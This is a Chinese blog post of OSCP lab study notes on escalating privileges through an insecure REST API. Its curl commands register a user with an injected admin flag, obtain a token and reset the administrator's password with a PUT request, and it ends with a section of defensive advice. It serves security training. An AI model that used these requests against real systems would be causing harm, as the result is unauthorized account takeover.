3-9〔OSCP ◈ 研记〕❘ WEB应用攻击▸利用REST API提权
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉Whoami!-CSDN博客🚀
𖤐 嘿,经过前面的预热,我们正式打开这扇门,来吧 !
𖤐 𝓗𝓮𝔂, 𝓪𝓯𝓽𝓮𝓻 𝔀𝓪𝓻𝓶-𝓾𝓹,𝔀𝓮'𝓻𝓮 𝓷𝓸𝔀 𝓸𝓯𝓯𝓲𝓬𝓲𝓪𝓵𝓵𝔂 𝓸𝓹𝓮𝓷𝓲𝓷𝓰 𝓽𝓱𝓲𝓼 𝓭𝓸𝓸𝓻,𝓒𝓸𝓶𝓮 𝓸𝓷 !
→ 信息收集
→ 漏洞检测
→ 初始立足点
→ 权限提升 ▸WEB应用攻击▸利用REST API提权-----我们在这儿~ 🔥🔥🔥
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1.利用REST API提权
1.1 攻击流程总览
1.2 攻击步骤
1.2.1 API端点发现与分析方法
1.2.2 深度枚举与功能推测
1.2.3 正确API请求构造
1.2.4 发现注册功能漏洞(users/v1/register)
1.2.5 注册管理员账户(实现关键权限)
1.2.6 获取身份认证令牌
1.2.7 修改用户admin密码
1.2.8 使用新密码成功登录admin账户
1.3 防御建议
1.3.1 漏洞根本原因分析
1.3.2 即时防护措施
1.3.3 长期加固策略
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1.利用REST API提权
该案例展示了不安全的API设计如何导致整个系统沦陷。详细分析了通过API枚举发现漏洞,并利用逻辑缺陷实现权限提升的完整攻击过程。
1.1 攻击流程总览
1.2 攻击步骤
1.2.1 API端点发现与分析方法
接上一回,users/v1/admin/password的api内容:
kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/admin/password
HTTP/1.0 405 METHOD NOT ALLOWED
Content-Type: application/problem+json
Content-Length: 142
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 10:58:51 GMT
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed", # 这意味着请求的URL存在,但我们的HTTP方法不受支持。"type": "about:blank"
}
初始发现:
-
响应码为 405 Method Not Allowed 而非404,确认端点存在,但http方法不正确。
-
若响应码是404 Not Found,表示URL不存在。
💡 默认情况下,curl在执行请求时使用GET方法(只是获取),因此可以尝试使用不同的方法(例如POST或PUT)与password API进行交互。
推测:如果在此特定API上允许使用POST和PUT方法,这两种http方法可以覆盖用户凭据(在本例中为管理密码)。
1.2.2 深度枚举与功能推测
进一步枚举发现以下api(命令过程省略):
-
/users/v1/
login - 用户登录端点 -
/users/v1/
register - 用户注册端点
测试登录功能:(users/v1/login)
login是尝试猜测的路径(盲猜),通常这可能是一个用于登录操作的API端点。
kali@kali:~$ curl -i http://192.168.50.16:5002/users/v1/login# -i,输出响应头+响应主体;如果无-i,仅输出响应主体。
HTTP/1.0 404 NOT FOUND
Content-Type: application/json
Content-Length: 48
Server: Werkzeug/1.0.1 Python/3.7.13
Date: Wed, 06 Apr 2022 12:04:30 GMT{ "status": "fail", "message": "User not found"} # 404的原因是用户不存在
💡响应分析:盲猜login是登录页面是对的。虽然返回404,但错误信息"user not found"暗示API端点有效但参数有问题。
也就是说,我们的请求有问题,但API本身并不存在问题。换句话说,我们需要找到一种正确的方式来与API进行交互,才能成功获取想要的结果。
1.2.3 正确API请求构造
尝试登录验证:使用之前发现的users/v1的API下发现用户账户admin。
kali@kali:~$ curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login
参数 | 说明 |
---|---|
-d | 进行post请求。后面跟着json格式的请求内容,即:username和password的值。 |
-H | 指定请求头的Content-Type 为 application/json类型,键值对格式。 |
http... | 把这个请求推送到目标API: |
响应结果:用户名admin
存在,API参数格式正确,仅密码错误,需要输入正确密码才能登录成功。
{ "status": "fail", "message": "Password is not correct for the given username."}
🎯重要!
通过这一步目的是构造API请求格式,以上的反馈说明请求格式正确,仅只是密码错误而已。如果格式不正确返回的肯定不是提示密码不正确。
1.2.4 发现注册功能漏洞(users/v1/register)
🔄思路!
由于我们不知道管理员的密码,尝试另一条路线:可否注册新用户,如果注册成功则就可以使用新用户登录而获得权限。
尝试注册新用户(尝试构建注册请求):初始响应:提示缺少必填字段email
kali@kali:~$ curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/register{ "status": "fail", "message": "'email' is a required property"}# 根据message反馈,注册失败原因:email是一个必填的属性,需要补充上email字段内容。
添加必需字段后:用户名offsecadmin注册成功,证明API参数正确形成。
kali@kali:~$curl -d
'{"password":"lab","username":"offsecadmin","email":"123@offsec.com"}' -H
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
{"message": "Successfully registered. Login to receive an auth token.", "status":
"success"}
1.2.5 注册管理员账户(实现关键权限)
📡推测!
让我们尝试添加admin字段,后面跟着一个True值,来表示这个用户是管理员(可能是权限设置的一部分)。这一步需要靠经验,靠尝试!
尝试注册管理员账户:
kali@kali:~$curl -d
'{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H
'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register{"message": "Successfully registered. Login to receive an auth token.", "status":
"success"}
漏洞利用:成功注册具有管理员权限的用户offsec,暴露严重的权限控制缺陷。这在设计上是不允许的。
1.2.6 获取身份认证令牌
使用刚刚新建管理员账户offsec登录(获取token令牌):
kali@kali:~$curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login# 成功登录,并获取token令牌(供后续利用)
{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwi
c3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew", "message":
"Successfully logged in.", "status": "success"}
成功获取:JWT身份验证令牌,用于后续特权操作。
1.2.7 修改用户admin密码
尝试修改密码:
kali@kali:~$ curl \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic
3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \-d '{"password": "pwned"}'# 以下是响应内容,说明修改密码的方法-d(post方法)不对,因此要尝试另一种方法(比如put)
{"detail": "The method is not allowed for the requested URL.","status": 405,"title": "Method Not Allowed","type": "about:blank"
}
参数 | 说明 |
---|---|
http... | 把这个请求推送到目标API:/users/v1/admin/password,修改用户admin密码的api |
-H | 指定请求头的Content-Type 为 application/json类型,键值对格式。 |
-H | 'Authorization: OAuth <token>': 请求头,包含了 OAuth 认证令牌。该令牌用于验证请求的合法性和授权访问权限。OAuth 令牌通常表示当前用户已通过认证,并获得对相关资源的访问权限,这里填入的的token表明的是管理员权限。换句话说,所有管理员的权限用token标识。 |
-d | 进行post请求体部分。表示你试图将管理员密码更新为 "pwned"。 |
方法调整:服务器返回了一个错误响应,应用程序表示使用的方法POST不正确,所以尝试另一种方法。比如:PUT方法(以及PATCH方法)通常用于替换一个值,而不是通过POST请求创建一个值。所以尝试从POST改为PUT方法,成功修改管理员密码。
kali@kali:~$ curl -X 'PUT' \'http://192.168.50.16:5002/users/v1/admin/password' \-H 'Content-Type: application/json' \-H 'Authorization: OAuth
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic
3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \-d '{"password": "pwned"}'
参数 | 说明 |
---|---|
-X 'PUT' | 指定了HTTP请求方法为 PUT,通常用于更新资源。 |
最终验证:这次没有收到错误消息,合理推测修改密码成功。
1.2.8 使用新密码成功登录admin账户
使用用户名admin,密码pwned(修改后的),使用API:/users/v1/login成功登录,获得admin的管理员权限。
kali@kali:~$ curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type:
application/json' http://192.168.50.16:5002/users/v1/login{"auth_token":
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzIxMjgsImlhdCI6MTY0OTI3MTgyOCwi
c3ViIjoiYWRtaW4ifQ.yNgxeIUH0XLElK95TCU88lQSLP6lCl7usZYoZDlUlo0", "message":
"Successfully logged in.", "status": "success"}
🔐再次注意!
我们会发现管理员admin反馈的token值,和刚刚新建的管理员offsec是一样的。
进一步证明:这个token用于证明是管理员权限,用于授权使用。
1.3 防御建议
1.3.1 漏洞根本原因分析
漏洞类型 | 具体表现 | 安全影响 |
---|---|---|
权限控制缺失 | 注册接口可设置admin字段 | 严重 |
API方法暴露 | 未禁用危险HTTP方法 | 高 |
错误信息泄露 | 详细错误消息暴露系统信息 | 中 |
参数验证不足 | 缺乏输入验证和过滤 | 高 |
1.3.2 即时防护措施
-
🔒 输入验证:对所有API参数进行严格验证和过滤
-
🛡️ 权限检查:服务器端验证用户权限,不信任客户端提交的权限字段
-
🚫 方法限制:禁用不必要的HTTP方法(PUT、DELETE等)
-
📊 日志监控:记录所有API访问和权限变更操作
1.3.3 长期加固策略
-
✅ API安全设计:遵循API安全最佳实践
-
🔐 身份验证强化:实施强身份验证和授权机制
-
📋 安全测试:定期进行API安全测试和代码审计
-
🎓 开发培训:提高开发人员安全编码意识
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!